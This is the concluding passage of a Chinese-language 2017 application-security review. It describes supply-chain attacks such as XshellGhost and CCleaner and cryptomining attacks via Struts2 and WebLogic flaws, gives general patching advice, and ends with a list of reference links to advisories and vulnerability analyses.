应用安全不仅仅只有漏洞,一种名为“供应链攻击”的网络攻击行为也需要我们警惕。它通过一些技术手段在软件的软件开发,软件分发,使用升级等环节进行污染,最后达到盗取用户隐私、植入木马、盗取数字资产等目的。比如今年的XshellGhost事件,Ccleaner恶意代码攻击事件,OSX/Proton后门攻击事件等。这种攻击危险且难以防御。软件厂商首先要加强自身安全体系建设,并且安全厂商之间也已经在威胁情报和安全数据等方面进行更为明确化,纵深化的整合。这样才能有效的抵御供应链攻击。
因为区块链技术的发展和虚拟货币投资的浪潮,2017年以挖矿为目的的网络攻击行为特别活跃。这种攻击主要针对服务器,IoT设备或者浏览器,通过弱口令扫描,漏洞或者Javascript挖矿程序进行恶意挖矿。其中系统漏洞、web容器和应用方面的漏洞因为目的性强且回馈率高,成为了黑产的首选。比如struts2、WebLogic挖矿事件,每当有利用难度低的漏洞被披露。都会引发一波以挖矿为目的的网络攻击。
应用安全带来的风险相对比较容易避免,操作系统提供了各种漏洞缓解机制使得可利用漏洞仅占很小一部分。对于个人用户,从正规渠道下载软件,并且具有良好的上网习惯,注意更新软件,可以杜绝大部分的安全问题。对于web容器的安全,需要运维人员及时进行安全更新。更加希望软件开发者,从以上的分析带来一些思考,规避上述漏洞中的一些问题。
参考链接
http://bobao.360.cn/learning/detail/3649.html
http://struts.apache.org/docs/s2-052.html
https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
http://www.catalog.update.microsoft.com/search.aspx?q=3197835
http://blog.nsfocus.net/windows-server-2003-r2-iis-6-0-vulnerability-protection-scenario/
https://www.vulbox.com/knowledge/detail/?id=8
http://whereisk0shl.top/cve-2017-7269-iis6-interesting-exploit.html
https://ht-sec.org/cve-2017-7269-hui-xian-poc-jie-xi/
https://www.secpulse.com/archives/57310.html
http://xlab.tencent.com/cn/2017/04/18/nsa-iis-vulnerability-analysis/
http://bobao.360.cn/learning/detail/3664.html
https://threathunter.org/topic/59428ae855cbee0e1e5cad23
https://www.vulbox.com/knowledge/detail/?id=8
https://hackerone.com/reports/242831
https://hackerone.com/reports/226756
https://hackerone.com/reports/243470
https://www.slideshare.net/phdays/ss-76515896
http://mailman.nginx.org/pipermail/nginx-announce/2017/000200.html
http://nginx.org/download/patch.2017.ranges.txt
https://bugs.chromium.org/p/project-zero/issues/detail?id=1324&desc=2
http://thehackernews.com/2017/07/cisco-webex-vulnerability.html
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170717-webex
https://www.mail-archive.com/linux-kernel@vger.kernel.org/msg1466490.html
https://github.com/gitster/git/commit/4274c698f46a9bc45834c4904e7e113450c042fb